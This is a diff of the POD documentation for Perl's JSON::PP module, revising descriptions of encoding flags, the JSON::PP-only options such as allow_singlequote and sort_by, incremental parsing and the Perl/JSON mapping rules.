-And now, you want to convert your C<$perl_scalar> into JSON data and
-send it to an outer world - a network or a file content, and so on.
-
-Your data usually contains UNICODE strings and you want the converted data to be encoded
-in UTF-8, you should use C<encode_json> or C<JSON> module object with C<utf8> enabled.
-
-  print encode_json( $perl_scalar ); # to a network? file? or display?
-  # or
-  print $json->utf8->encode( $perl_scalar );
-
-If C<$perl_scalar> does not contain UNICODE but C<$encoding>-encoded strings
-for some reason, then its characters are regarded as B<latin1> for perl
-(because it does not concern with your $encoding).
-You B<cannot> use C<encode_json> nor C<JSON> module object with C<utf8> enabled.
-Instead of them, you use C<JSON> module object with C<utf8> disable.
-Note that the resulted text is a UNICODE string but no problem to print it.
-
-  # $perl_scalar contains $encoding encoded string values
-  $unicode_json_text = $json->utf8(0)->encode( $perl_scalar );
-  # $unicode_json_text consists of characters less than 0x100
-  print $unicode_json_text;
-
-Or C<decode $encoding> all string values and C<encode_json>:
-
-  $perl_scalar->{ foo } = decode( $encoding, $perl_scalar->{ foo } );
-  # ... do it to each string values, then encode_json
-  $json_text = encode_json( $perl_scalar );
-
-This method is a proper way but probably not efficient.
-
-See to L<Encode>, L<perluniintro>.
-
-
-=head1 METHODS
-
-Basically, check to L<JSON> or L<JSON::XS>.
-
 =head2 new
 
     $json = JSON::PP->new
 
-Returns a new JSON::PP object that can be used to de/encode JSON
-strings.
+Creates a new JSON::PP object that can be used to de/encode JSON
+strings. All boolean flags described below are by default I<disabled>.
 
-All boolean flags described below are by default I<disabled>.
-
-The mutators for flags all return the JSON object again and thus calls can
+The mutators for flags all return the JSON::PP object again and thus calls can
 be chained:
 
    my $json = JSON::PP->new->utf8->space_after->encode({a => [1,2]})
@@ -1830,17 +1748,24 @@
     
     $enabled = $json->get_ascii
 
-If $enable is true (or missing), then the encode method will not generate characters outside
-the code range 0..127. Any Unicode characters outside that range will be escaped using either
-a single \uXXXX or a double \uHHHH\uLLLLL escape sequence, as per RFC4627.
-(See to L<JSON::XS/OBJECT-ORIENTED INTERFACE>).
+If C<$enable> is true (or missing), then the C<encode> method will not
+generate characters outside the code range C<0..127> (which is ASCII). Any
+Unicode characters outside that range will be escaped using either a
+single \uXXXX (BMP characters) or a double \uHHHH\uLLLLL escape sequence,
+as per RFC4627. The resulting encoded JSON text can be treated as a native
+Unicode string, an ascii-encoded, latin1-encoded or UTF-8 encoded string,
+or any other superset of ASCII.
 
-In Perl 5.005, there is no character having high value (more than 255).
-See to L<UNICODE HANDLING ON PERLS>.
+If C<$enable> is false, then the C<encode> method will not escape Unicode
+characters unless required by the JSON syntax or other flags. This results
+in a faster and more compact format.
 
-If $enable is false, then the encode method will not escape Unicode characters unless
-required by the JSON syntax or other flags. This results in a faster and more compact format.
+See also the section I<ENCODING/CODESET FLAG NOTES> later in this document.
 
+The main use for this flag is to produce JSON texts that can be
+transmitted over a 7-bit channel, as the encoded JSON texts will not
+contain any 8 bit characters.
+
   JSON::PP->new->ascii(1)->encode([chr 0x10401])
   => ["\ud801\udc01"]
 
@@ -1850,17 +1775,29 @@
     
     $enabled = $json->get_latin1
 
-If $enable is true (or missing), then the encode method will encode the resulting JSON
-text as latin1 (or iso-8859-1), escaping any characters outside the code range 0..255.
+If C<$enable> is true (or missing), then the C<encode> method will encode
+the resulting JSON text as latin1 (or iso-8859-1), escaping any characters
+outside the code range C<0..255>. The resulting string can be treated as a
+latin1-encoded JSON text or a native Unicode string. The C<decode> method
+will not be affected in any way by this flag, as C<decode> by default
+expects Unicode, which is a strict superset of latin1.
 
-If $enable is false, then the encode method will not escape Unicode characters
-unless required by the JSON syntax or other flags.
+If C<$enable> is false, then the C<encode> method will not escape Unicode
+characters unless required by the JSON syntax or other flags.
 
-  JSON::XS->new->latin1->encode (["\x{89}\x{abc}"]
+See also the section I<ENCODING/CODESET FLAG NOTES> later in this document.
+
+The main use for this flag is efficiently encoding binary data as JSON
+text, as most octets will not be escaped, resulting in a smaller encoded
+size. The disadvantage is that the resulting JSON text is encoded
+in latin1 (and must correctly be treated as such when storing and
+transferring), a rare encoding for JSON. It is therefore most useful when
+you want to store data structures known to contain binary data efficiently
+in files or databases, not when talking to other JSON encoders/decoders.
+
+  JSON::PP->new->latin1->encode (["\x{89}\x{abc}"]
   => ["\x{89}\\u0abc"]    # (perl syntax, U+abc escaped, U+89 not)
 
-See to L<UNICODE HANDLING ON PERLS>.
-
 =head2 utf8
 
     $json = $json->utf8([$enable])
@@ -1867,21 +1804,21 @@
     
     $enabled = $json->get_utf8
 
-If $enable is true (or missing), then the encode method will encode the JSON result
-into UTF-8, as required by many protocols, while the decode method expects to be handled
-an UTF-8-encoded string. Please note that UTF-8-encoded strings do not contain any
-characters outside the range 0..255, they are thus useful for bytewise/binary I/O.
+If C<$enable> is true (or missing), then the C<encode> method will encode
+the JSON result into UTF-8, as required by many protocols, while the
+C<decode> method expects to be handled an UTF-8-encoded string.  Please
+note that UTF-8-encoded strings do not contain any characters outside the
+range C<0..255>, they are thus useful for bytewise/binary I/O. In future
+versions, enabling this option might enable autodetection of the UTF-16
+and UTF-32 encoding families, as described in RFC4627.
 
-(In Perl 5.005, any character outside the range 0..255 does not exist.
-See to L<UNICODE HANDLING ON PERLS>.)
+If C<$enable> is false, then the C<encode> method will return the JSON
+string as a (non-encoded) Unicode string, while C<decode> expects thus a
+Unicode string.  Any decoding or encoding (e.g. to UTF-8 or UTF-16) needs
+to be done yourself, e.g. using the Encode module.
 
-In future versions, enabling this option might enable autodetection of the UTF-16 and UTF-32
-encoding families, as described in RFC4627.
+See also the section I<ENCODING/CODESET FLAG NOTES> later in this document.
 
-If $enable is false, then the encode method will return the JSON string as a (non-encoded)
-Unicode string, while decode expects thus a Unicode string. Any decoding or encoding
-(e.g. to UTF-8 or UTF-16) needs to be done yourself, e.g. using the Encode module.
-
 Example, output UTF-16BE-encoded JSON:
 
   use Encode;
@@ -1892,19 +1829,14 @@
   use Encode;
   $object = JSON::PP->new->decode (decode "UTF-32LE", $jsontext);
 
-
 =head2 pretty
 
     $json = $json->pretty([$enable])
 
 This enables (or disables) all of the C<indent>, C<space_before> and
-C<space_after> flags in one call to generate the most readable
-(or most compact) form possible.
+C<space_after> (and in the future possibly more) flags in one call to
+generate the most readable (or most compact) form possible.
 
-Equivalent to:
-
-   $json->indent->space_before->space_after
-
 =head2 indent
 
     $json = $json->indent([$enable])
@@ -1911,6 +1843,15 @@
     
     $enabled = $json->get_indent
 
+If C<$enable> is true (or missing), then the C<encode> method will use a multiline
+format as output, putting every array member or object/hash key-value pair
+into its own line, indenting them properly.
+
+If C<$enable> is false, no newlines or indenting will be produced, and the
+resulting JSON text is guaranteed not to contain any C<newlines>.
+
+This setting has no effect when decoding JSON texts.
+
 The default indent space length is three.
 You can use C<indent_length> to change the length.
 
@@ -1926,7 +1867,8 @@
 If C<$enable> is false, then the C<encode> method will not add any extra
 space at those places.
 
-This setting has no effect when decoding JSON texts.
+This setting has no effect when decoding JSON texts. You will also
+most likely combine this setting with C<space_after>.
 
 Example, space_before enabled, space_after and indent disabled:
 
@@ -1999,6 +1941,28 @@
         # neither this one...
   ]
 
+=item * C-style multiple-line '/* */'-comments (JSON::PP only)
+
+Whenever JSON allows whitespace, C-style multiple-line comments are additionally
+allowed. Everything between C</*> and C<*/> is a comment, after which
+more white-space and comments are allowed.
+
+  [
+     1, /* this comment not allowed in JSON */
+        /* neither this one... */
+  ]
+
+=item * C++-style one-line '//'-comments (JSON::PP only)
+
+Whenever JSON allows whitespace, C++-style one-line comments are additionally
+allowed. They are terminated by the first carriage-return or line-feed
+character, after which more white-space and comments are allowed.
+
+  [
+     1, // this comment not allowed in JSON
+        // neither this one...
+  ]
+
 =back
 
 =head2 canonical
@@ -2012,7 +1976,8 @@
 
 If C<$enable> is false, then the C<encode> method will output key-value
 pairs in the order Perl stores them (which will likely change between runs
-of the same script).
+of the same script, and can change even within the same run from 5.18
+onwards).
 
 This option is useful if you want the same data structure to be encoded as
 the same JSON text (given the same overall settings). If it is disabled,
@@ -2021,8 +1986,7 @@
 
 This setting has no effect when decoding JSON texts.
 
-If you want your own sorting routine, you can give a code reference
-or a subroutine name to C<sort_by>. See to C<JSON::PP OWN METHODS>.
+This setting has currently no effect on tied hashes.
 
 =head2 allow_nonref
 
@@ -2040,6 +2004,9 @@
 or array. Likewise, C<decode> will croak if given something that is not a
 JSON object or array.
 
+Example, encode a Perl scalar as JSON value with enabled C<allow_nonref>,
+resulting in an invalid JSON text:
+
    JSON::PP->new->allow_nonref->encode ("Hello, World!")
    => "Hello, World!"
 
@@ -2049,18 +2016,17 @@
     
     $enabled = $json->get_allow_unknown
 
-If $enable is true (or missing), then "encode" will *not* throw an
+If C<$enable> is true (or missing), then C<encode> will I<not> throw an
 exception when it encounters values it cannot represent in JSON (for
-example, filehandles) but instead will encode a JSON "null" value.
-Note that blessed objects are not included here and are handled
-separately by c<allow_nonref>.
+example, filehandles) but instead will encode a JSON C<null> value. Note
+that blessed objects are not included here and are handled separately by
+c<allow_blessed>.
 
-If $enable is false (the default), then "encode" will throw an
+If C<$enable> is false (the default), then C<encode> will throw an
 exception when it encounters anything it cannot encode as JSON.
 
-This option does not affect "decode" in any way, and it is
-recommended to leave it off unless you know your communications
-partner.
+This option does not affect C<decode> in any way, and it is recommended to
+leave it off unless you know your communications partner.
 
 =head2 allow_blessed
 
@@ -2068,16 +2034,18 @@
     
     $enabled = $json->get_allow_blessed
 
+See L<OBJECT SERIALISATION> for details.
+
 If C<$enable> is true (or missing), then the C<encode> method will not
-barf when it encounters a blessed reference. Instead, the value of the
-B<convert_blessed> option will decide whether C<null> (C<convert_blessed>
-disabled or no C<TO_JSON> method found) or a representation of the
-object (C<convert_blessed> enabled and C<TO_JSON> method found) is being
-encoded. Has no effect on C<decode>.
+barf when it encounters a blessed reference that it cannot convert
+otherwise. Instead, a JSON C<null> value is encoded instead of the object.
 
 If C<$enable> is false (the default), then C<encode> will throw an
-exception when it encounters a blessed object.
+exception when it encounters a blessed object that it cannot convert
+otherwise.
 
+This setting has no effect on C<decode>.
+
 =head2 convert_blessed
 
     $json = $json->convert_blessed([$enable])
@@ -2084,12 +2052,12 @@
     
     $enabled = $json->get_convert_blessed
 
+See L<OBJECT SERIALISATION> for details.
+
 If C<$enable> is true (or missing), then C<encode>, upon encountering a
 blessed object, will check for the availability of the C<TO_JSON> method
-on the object's class. If found, it will be called in scalar context
-and the resulting scalar will be encoded instead of the object. If no
-C<TO_JSON> method is found, the value of C<allow_blessed> will decide what
-to do.
+on the object's class. If found, it will be called in scalar context and
+the resulting scalar will be encoded instead of the object.
 
 The C<TO_JSON> method may safely call die if it wants. If C<TO_JSON>
 returns other blessed objects, those will be handled in the same
@@ -2096,13 +2064,13 @@
 way. C<TO_JSON> must take care of not causing an endless recursion cycle
 (== crash) in this case. The name of C<TO_JSON> was chosen because other
 methods called by the Perl core (== not by the user of the object) are
-usually in upper case letters and to avoid collisions with the C<to_json>
+usually in upper case letters and to avoid collisions with any C<to_json>
 function or method.
 
-This setting does not yet influence C<decode> in any way.
+If C<$enable> is false (the default), then C<encode> will not consider
+this type of conversion.
 
-If C<$enable> is false, then the C<allow_blessed> setting will decide what
-to do when a blessed object is found.
+This setting has no effect on C<decode>.
 
 =head2 filter_json_object
 
@@ -2109,13 +2077,13 @@
     $json = $json->filter_json_object([$coderef])
 
 When C<$coderef> is specified, it will be called from C<decode> each
-time it decodes a JSON object. The only argument passed to the coderef
-is a reference to the newly-created hash. If the code references returns
-a single scalar (which need not be a reference), this value
-(i.e. a copy of that scalar to avoid aliasing) is inserted into the
-deserialised data structure. If it returns an empty list
-(NOTE: I<not> C<undef>, which is a valid scalar), the original deserialised
-hash will be inserted. This setting can slow down decoding considerably.
+time it decodes a JSON object. The only argument is a reference to the
+newly-created hash. If the code references returns a single scalar (which
+need not be a reference), this value (i.e. a copy of that scalar to avoid
+aliasing) is inserted into the deserialised data structure. If it returns
+an empty list (NOTE: I<not> C<undef>, which is a valid scalar), the
+original deserialised hash will be inserted. This setting can slow down
+decoding considerably.
 
 When C<$coderef> is omitted or undefined, any existing callback will
 be removed and C<decode> will not change the deserialised hash in any
@@ -2190,15 +2158,13 @@
     
     $enabled = $json->get_shrink
 
-In JSON::XS, this flag resizes strings generated by either
-C<encode> or C<decode> to their minimum size possible.
-It will also try to downgrade any strings to octet-form if possible.
+If C<$enable> is true (or missing), the string returned by C<encode> will
+be shrunk (i.e. downgraded if possible).
 
-In JSON::PP, it is noop about resizing strings but tries
-C<utf8::downgrade> to the returned string by C<encode>.
-See to L<utf8>.
+The actual definition of what shrink does might change in future versions,
+but it will always try to save space at the expense of time.
 
-See to L<JSON::XS/OBJECT-ORIENTED INTERFACE>
+If C<$enable> is false, then JSON::PP does nothing.
 
 =head2 max_depth
 
@@ -2216,14 +2182,14 @@
 characters without their matching closing parenthesis crossed to reach a
 given character in a string.
 
+Setting the maximum depth to one disallows any nesting, so that ensures
+that the object is only a single hash/object or array.
+
 If no argument is given, the highest possible setting will be used, which
 is rarely useful.
 
 See L<JSON::XS/SECURITY CONSIDERATIONS> for more info on why this is useful.
 
-When a large value (100 or more) was set and it de/encodes a deep nested object/text,
-it may raise a warning 'Deep recursion on subroutine' at the perl runtime phase.
-
 =head2 max_size
 
     $json = $json->max_size([$maximum_string_size])
@@ -2245,12 +2211,8 @@
 
     $json_text = $json->encode($perl_scalar)
 
-Converts the given Perl data structure (a simple scalar or a reference
-to a hash or array) to its JSON representation. Simple scalars will be
-converted into JSON string or number sequences, while references to arrays
-become JSON arrays and references to hashes become JSON objects. Undefined
-Perl values (e.g. C<undef>) become JSON C<null> values.
-References to the integers C<0> and C<1> are converted into C<true> and C<false>.
+Converts the given Perl value or data structure to its JSON
+representation. Croaks on error.
 
 =head2 decode
 
@@ -2259,11 +2221,6 @@
 The opposite of C<encode>: expects a JSON text and tries to parse it,
 returning the resulting simple scalar or reference. Croaks on error.
 
-JSON numbers and strings become simple Perl scalars. JSON arrays become
-Perl arrayrefs and JSON objects become Perl hashrefs. C<true> becomes
-C<1> (C<JSON::true>), C<false> becomes C<0> (C<JSON::false>) and
-C<null> becomes C<undef>.
-
 =head2 decode_prefix
 
     ($perl_scalar, $characters) = $json->decode_prefix($json_text)
@@ -2273,25 +2230,185 @@
 silently stop parsing there and return the number of characters consumed
 so far.
 
-   JSON->new->decode_prefix ("[1] the tail")
-   => ([], 3)
+This is useful if your JSON texts are not delimited by an outer protocol
+and you need to know where the JSON text ends.
 
+   JSON::PP->new->decode_prefix ("[1] the tail")
+   => ([1], 3)
+
+=head1 FLAGS FOR JSON::PP ONLY
+
+The following flags and properties are for JSON::PP only. If you use
+any of these, you can't make your application run faster by replacing
+JSON::PP with JSON::XS. If you need these and also speed boost,
+try L<Cpanel::JSON::XS>, a fork of JSON::XS by Reini Urban, which
+supports some of these.
+
+=head2 allow_singlequote
+
+    $json = $json->allow_singlequote([$enable])
+    $enabled = $json->get_allow_singlequote
+
+If C<$enable> is true (or missing), then C<decode> will accept
+invalid JSON texts that contain strings that begin and end with
+single quotation marks. C<encode> will not be affected in anyway.
+I<Be aware that this option makes you accept invalid JSON texts
+as if they were valid!>. I suggest only to use this option to
+parse application-specific files written by humans (configuration
+files, resource files etc.)
+
+If C<$enable> is false (the default), then C<decode> will only accept
+valid JSON texts.
+
+    $json->allow_singlequote->decode(qq|{"foo":'bar'}|);
+    $json->allow_singlequote->decode(qq|{'foo':"bar"}|);
+    $json->allow_singlequote->decode(qq|{'foo':'bar'}|);
+
+=head2 allow_barekey
+
+    $json = $json->allow_barekey([$enable])
+    $enabled = $json->get_allow_barekey
+
+If C<$enable> is true (or missing), then C<decode> will accept
+invalid JSON texts that contain JSON objects whose names don't
+begin and end with quotation marks. C<encode> will not be affected
+in anyway. I<Be aware that this option makes you accept invalid JSON
+texts as if they were valid!>. I suggest only to use this option to
+parse application-specific files written by humans (configuration
+files, resource files etc.)
+
+If C<$enable> is false (the default), then C<decode> will only accept
+valid JSON texts.
+
+    $json->allow_barekey->decode(qq|{foo:"bar"}|);
+
+=head2 allow_bignum
+
+    $json = $json->allow_bignum([$enable])
+    $enabled = $json->get_allow_bignum
+
+If C<$enable> is true (or missing), then C<decode> will convert
+big integers Perl cannot handle as integer into L<Math::BigInt>
+objects and convert floating numbers into L<Math::BigFloat>
+objects. C<encode> will convert C<Math::BigInt> and C<Math::BigFloat>
+objects into JSON numbers.
+
+   $json->allow_nonref->allow_bignum;
+   $bigfloat = $json->decode('2.000000000000000000000000001');
+   print $json->encode($bigfloat);
+   # => 2.000000000000000000000000001
+
+See also L<MAPPING>.
+
+=head2 loose
+
+    $json = $json->loose([$enable])
+    $enabled = $json->get_loose
+
+If C<$enable> is true (or missing), then C<decode> will accept
+invalid JSON texts that contain unescaped [\x00-\x1f\x22\x5c]
+characters. C<encode> will not be affected in anyway.
+I<Be aware that this option makes you accept invalid JSON texts
+as if they were valid!>. I suggest only to use this option to
+parse application-specific files written by humans (configuration
+files, resource files etc.)
+
+If C<$enable> is false (the default), then C<decode> will only accept
+valid JSON texts.
+
+    $json->loose->decode(qq|["abc
+                                   def"]|);
+
+=head2 escape_slash
+
+    $json = $json->escape_slash([$enable])
+    $enabled = $json->get_escape_slash
+
+If C<$enable> is true (or missing), then C<encode> will explicitly
+escape I<slash> (solidus; C<U+002F>) characters to reduce the risk of
+XSS (cross site scripting) that may be caused by C<< </script> >>
+in a JSON text, with the cost of bloating the size of JSON texts.
+
+This option may be useful when you embed JSON in HTML, but embedding
+arbitrary JSON in HTML (by some HTML template toolkit or by string
+interpolation) is risky in general. You must escape necessary
+characters in correct order, depending on the context.
+
+C<decode> will not be affected in anyway.
+
+=head2 indent_length
+
+    $json = $json->indent_length($number_of_spaces)
+    $length = $json->get_indent_length
+
+This option is only useful when you also enable C<indent> or C<pretty>.
+
+JSON::XS indents with three spaces when you C<encode> (if requested
+by C<indent> or C<pretty>), and the number cannot be changed.
+JSON::PP allows you to change/get the number of indent spaces with these
+mutator/accessor. The default number of spaces is three (the same as
+JSON::XS), and the acceptable range is from C<0> (no indentation;
+it'd be better to disable indentation by C<indent(0)>) to C<15>.
+
+=head2 sort_by
+
+    $json = $json->sort_by($code_ref)
+    $json = $json->sort_by($subroutine_name)
+
+If you just want to sort keys (names) in JSON objects when you
+C<encode>, enable C<canonical> option (see above) that allows you to
+sort object keys alphabetically.
+
+If you do need to sort non-alphabetically for whatever reasons,
+you can give a code reference (or a subroutine name) to C<sort_by>,
+then the argument will be passed to Perl's C<sort> built-in function.
+
+As the sorting is done in the JSON::PP scope, you usually need to
+prepend C<JSON::PP::> to the subroutine name, and the special variables
+C<$a> and C<$b> used in the subrontine used by C<sort> function.
+
+Example:
+
+   my %ORDER = (id => 1, class => 2, name => 3);
+   $json->sort_by(sub {
+       ($ORDER{$JSON::PP::a} // 999) <=> ($ORDER{$JSON::PP::b} // 999)
+       or $JSON::PP::a cmp $JSON::PP::b
+   });
+   print $json->encode([
+       {name => 'CPAN', id => 1, href => 'http://cpan.org'}
+   ]);
+   # [{"id":1,"name":"CPAN","href":"http://cpan.org"}]
+
+Note that C<sort_by> affects all the plain hashes in the data structure.
+If you need finer control, C<tie> necessary hashes with a module that
+implements ordered hash (such as L<Hash::Ordered> and L<Tie::IxHash>).
+C<canonical> and C<sort_by> don't affect the key order in C<tie>d
+hashes.
+
+   use Hash::Ordered;
+   tie my %hash, 'Hash::Ordered',
+       (name => 'CPAN', id => 1, href => 'http://cpan.org');
+   print $json->encode([\%hash]);
+   # [{"name":"CPAN","id":1,"href":"http://cpan.org"}] # order is kept
+
 =head1 INCREMENTAL PARSING
 
-Most of this section are copied and modified from L<JSON::XS/INCREMENTAL PARSING>.
+This section is also taken from JSON::XS.
 
-In some cases, there is the need for incremental parsing of JSON texts.
-This module does allow you to parse a JSON stream incrementally.
-It does so by accumulating text until it has a full JSON object, which
-it then can decode. This process is similar to using C<decode_prefix>
-to see if a full JSON object is available, but is much more efficient
-(and can be implemented with a minimum of method calls).
+In some cases, there is the need for incremental parsing of JSON
+texts. While this module always has to keep both JSON text and resulting
+Perl data structure in memory at one time, it does allow you to parse a
+JSON stream incrementally. It does so by accumulating text until it has
+a full JSON object, which it then can decode. This process is similar to
+using C<decode_prefix> to see if a full JSON object is available, but
+is much more efficient (and can be implemented with a minimum of method
+calls).
 
-This module will only attempt to parse the JSON text once it is sure it
+JSON::PP will only attempt to parse the JSON text once it is sure it
 has enough text to get a decisive result, using a very simple but
 truly incremental parser. This means that it sometimes won't stop as
-early as the full parser, for example, it doesn't detect parentheses
-mismatches. The only thing it guarantees is that it starts decoding as
+early as the full parser, for example, it doesn't detect mismatched
+parentheses. The only thing it guarantees is that it starts decoding as
 soon as a syntactically valid JSON text has been seen. This means you need
 to set resource limits (e.g. C<max_size>) to ensure the parser will stop
 parsing in the presence if syntax errors.
@@ -2326,15 +2443,16 @@
 
 And finally, in list context, it will try to extract as many objects
 from the stream as it can find and return them, or the empty list
-otherwise. For this to work, there must be no separators between the JSON
-objects or arrays, instead they must be concatenated back-to-back. If
-an error occurs, an exception will be raised as in the scalar context
-case. Note that in this case, any previously-parsed JSON texts will be
-lost.
+otherwise. For this to work, there must be no separators (other than
+whitespace) between the JSON objects or arrays, instead they must be
+concatenated back-to-back. If an error occurs, an exception will be
+raised as in the scalar context case. Note that in this case, any
+previously-parsed JSON texts will be lost.
 
-Example: Parse some JSON arrays/objects in a given string and return them.
+Example: Parse some JSON arrays/objects in a given string and return
+them.
 
-    my @objs = JSON->new->incr_parse ("[5][7][1,2]");
+    my @objs = JSON::PP->new->incr_parse ("[5][7][1,2]");
 
 =head2 incr_text
 
@@ -2348,28 +2466,27 @@
 real world conditions). As a special exception, you can also call this
 method before having parsed anything.
 
+That means you can only use this function to look at or manipulate text
+before or after complete JSON objects, not while the parser is in the
+middle of parsing a JSON object.
+
 This function is useful in two cases: a) finding the trailing text after a
 JSON object or b) parsing multiple JSON objects separated by non-JSON text
 (such as commas).
 
-    $json->incr_text =~ s/\s*,\s*//;
-
-In Perl 5.005, C<lvalue> attribute is not available.
-You must write codes like the below:
-
-    $string = $json->incr_text;
-    $string =~ s/\s*,\s*//;
-    $json->incr_text( $string );
-
 =head2 incr_skip
 
     $json->incr_skip
 
-This will reset the state of the incremental parser and will remove the
-parsed text from the input buffer. This is useful after C<incr_parse>
-died, in which case the input buffer and incremental parser state is left
-unchanged, to skip the text parsed so far and to reset the parse state.
+This will reset the state of the incremental parser and will remove
+the parsed text from the input buffer so far. This is useful after
+C<incr_parse> died, in which case the input buffer and incremental parser
+state is left unchanged, to skip the text parsed so far and to reset the
+parse state.
 
+The difference to C<incr_reset> is that only text until the parse error
+occurred is removed.
+
 =head2 incr_reset
 
     $json->incr_reset
@@ -2381,149 +2498,19 @@
 ignore any trailing data, which means you have to reset the parser after
 each successful decode.
 
-See to L<JSON::XS/INCREMENTAL PARSING> for examples.
+=head1 MAPPING
 
+Most of this section is also taken from JSON::XS.
 
-=head1 JSON::PP OWN METHODS
+This section describes how JSON::PP maps Perl values to JSON values and
+vice versa. These mappings are designed to "do the right thing" in most
+circumstances automatically, preserving round-tripping characteristics
+(what you put in comes out as something equivalent).
 
-=head2 allow_singlequote
+For the more enlightened: note that in the following descriptions,
+lowercase I<perl> refers to the Perl interpreter, while uppercase I<Perl>
+refers to the abstract Perl language itself.
 
-    $json = $json->allow_singlequote([$enable])
-
-If C<$enable> is true (or missing), then C<decode> will accept
-JSON strings quoted by single quotations that are invalid JSON
-format.
-
-    $json->allow_singlequote->decode({"foo":'bar'});
-    $json->allow_singlequote->decode({'foo':"bar"});
-    $json->allow_singlequote->decode({'foo':'bar'});
-
-As same as the C<relaxed> option, this option may be used to parse
-application-specific files written by humans.
-
-
-=head2 allow_barekey
-
-    $json = $json->allow_barekey([$enable])
-
-If C<$enable> is true (or missing), then C<decode> will accept
-bare keys of JSON object that are invalid JSON format.
-
-As same as the C<relaxed> option, this option may be used to parse
-application-specific files written by humans.
-
-    $json->allow_barekey->decode('{foo:"bar"}');
-
-=head2 allow_bignum
-
-    $json = $json->allow_bignum([$enable])
-
-If C<$enable> is true (or missing), then C<decode> will convert
-the big integer Perl cannot handle as integer into a L<Math::BigInt>
-object and convert a floating number (any) into a L<Math::BigFloat>.
-
-On the contrary, C<encode> converts C<Math::BigInt> objects and C<Math::BigFloat>
-objects into JSON numbers with C<allow_blessed> enabled.
-
-   $json->allow_nonref->allow_blessed->allow_bignum;
-   $bigfloat = $json->decode('2.000000000000000000000000001');
-   print $json->encode($bigfloat);
-   # => 2.000000000000000000000000001
-
-See to L<JSON::XS/MAPPING> about the normal conversion of JSON number.
-
-=head2 loose
-
-    $json = $json->loose([$enable])
-
-The unescaped [\x00-\x1f\x22\x2f\x5c] strings are invalid in JSON strings
-and the module doesn't allow you to C<decode> to these (except for \x2f).
-If C<$enable> is true (or missing), then C<decode>  will accept these
-unescaped strings.
-
-    $json->loose->decode(qq|["abc
-                                   def"]|);
-
-See L<JSON::XS/SECURITY CONSIDERATIONS>.
-
-=head2 escape_slash
-
-    $json = $json->escape_slash([$enable])
-
-According to JSON Grammar, I<slash> (U+002F) is escaped. But default
-JSON::PP (as same as JSON::XS) encodes strings without escaping slash.
-
-If C<$enable> is true (or missing), then C<encode> will escape slashes.
-
-=head2 indent_length
-
-    $json = $json->indent_length($length)
-
-JSON::XS indent space length is 3 and cannot be changed.
-JSON::PP set the indent space length with the given $length.
-The default is 3. The acceptable range is 0 to 15.
-
-=head2 sort_by
-
-    $json = $json->sort_by($function_name)
-    $json = $json->sort_by($subroutine_ref)
-
-If $function_name or $subroutine_ref are set, its sort routine are used
-in encoding JSON objects.
-
-   $js = $pc->sort_by(sub { $JSON::PP::a cmp $JSON::PP::b })->encode($obj);
-   # is($js, q|{"a":1,"b":2,"c":3,"d":4,"e":5,"f":6,"g":7,"h":8,"i":9}|);
-
-   $js = $pc->sort_by('own_sort')->encode($obj);
-   # is($js, q|{"a":1,"b":2,"c":3,"d":4,"e":5,"f":6,"g":7,"h":8,"i":9}|);
-
-   sub JSON::PP::own_sort { $JSON::PP::a cmp $JSON::PP::b }
-
-As the sorting routine runs in the JSON::PP scope, the given
-subroutine name and the special variables C<$a>, C<$b> will begin
-'JSON::PP::'.
-
-If $integer is set, then the effect is same as C<canonical> on.
-
-=head1 INTERNAL
-
-For developers.
-
-=over
-
-=item PP_encode_box
-
-Returns
-
-        {
-            depth        => $depth,
-            indent_count => $indent_count,
-        }
-
-
-=item PP_decode_box
-
-Returns
-
-        {
-            text    => $text,
-            at      => $at,
-            ch      => $ch,
-            len     => $len,
-            depth   => $depth,
-            encoding      => $encoding,
-            is_valid_utf8 => $is_valid_utf8,
-        };
-
-=back
-
-=head1 MAPPING
-
-This section is copied from JSON::XS and modified to C<JSON::PP>.
-JSON::XS and JSON::PP mapping mechanisms are almost equivalent.
-
-See to L<JSON::XS/MAPPING>.
-
 =head2 JSON -> PERL
 
 =over 4
@@ -2531,7 +2518,7 @@
 =item object
 
 A JSON object becomes a reference to a hash in Perl. No ordering of object
-keys is preserved (JSON does not preserver object key ordering itself).
+keys is preserved (JSON does not preserve object key ordering itself).
 
 =item array
 
@@ -2551,7 +2538,7 @@
 the conversion details, but an integer may take slightly less memory and
 might represent more values exactly than floating point numbers.
 
-If the number consists of digits only, C<JSON> will try to represent
+If the number consists of digits only, JSON::PP will try to represent
 it as an integer value. If that fails, it will try to represent it as
 a numeric (floating point) value if that is possible without loss of
 precision. Otherwise it will preserve the number as a string value (in
@@ -2565,12 +2552,13 @@
 
 Note that precision is not accuracy - binary floating point values cannot
 represent most decimal fractions exactly, and when converting from and to
-floating point, C<JSON> only guarantees precision up to but not including
+floating point, JSON::PP only guarantees precision up to but not including
 the least significant bit.
 
-When C<allow_bignum> is enabled, the big integers 
-and the numeric can be optionally converted into L<Math::BigInt> and
-L<Math::BigFloat> objects.
+When C<allow_bignum> is enabled, big integer values and any numeric
+values will be converted into L<Math::BigInt> and L<Math::BigFloat>
+objects respectively, without becoming string scalars or losing
+precision.
 
 =item true, false
 
@@ -2577,25 +2565,18 @@
 These JSON atoms become C<JSON::PP::true> and C<JSON::PP::false>,
 respectively. They are overloaded to act almost exactly like the numbers
 C<1> and C<0>. You can check whether a scalar is a JSON boolean by using
-the C<JSON::is_bool> function.
+the C<JSON::PP::is_bool> function.
 
-   print JSON::PP::true . "\n";
-    => true
-   print JSON::PP::true + 1;
-    => 1
-
-   ok(JSON::true eq  '1');
-   ok(JSON::true == 1);
-
-C<JSON> will install these missing overloading features to the backend modules.
-
-
 =item null
 
 A JSON null atom becomes C<undef> in Perl.
 
-C<JSON::PP::null> returns C<undef>.
+=item shell-style comments (C<< # I<text> >>)
 
+As a nonstandard extension to the JSON syntax that is enabled by the
+C<relaxed> setting, shell-style comments are allowed. They can start
+anywhere outside strings and go till the end of the line.
+
 =back
 
 
@@ -2609,17 +2590,15 @@
 
 =item hash references
 
-Perl hash references become JSON objects. As there is no inherent ordering
-in hash keys (or JSON objects), they will usually be encoded in a
-pseudo-random order that can change between runs of the same program but
-stays generally the same within a single run of a program. C<JSON>
-optionally sort the hash keys (determined by the I<canonical> flag), so
-the same datastructure will serialise to the same JSON text (given same
-settings and version of JSON::XS), but this incurs a runtime overhead
-and is only rarely useful, e.g. when you want to compare some JSON text
-against another for equality.
+Perl hash references become JSON objects. As there is no inherent
+ordering in hash keys (or JSON objects), they will usually be encoded
+in a pseudo-random order. JSON::PP can optionally sort the hash keys
+(determined by the I<canonical> flag and/or I<sort_by> property), so
+the same data structure will serialise to the same JSON text (given
+same settings and version of JSON::PP), but this incurs a runtime
+overhead and is only rarely useful, e.g. when you want to compare some
+JSON text against another for equality.
 
-
 =item array references
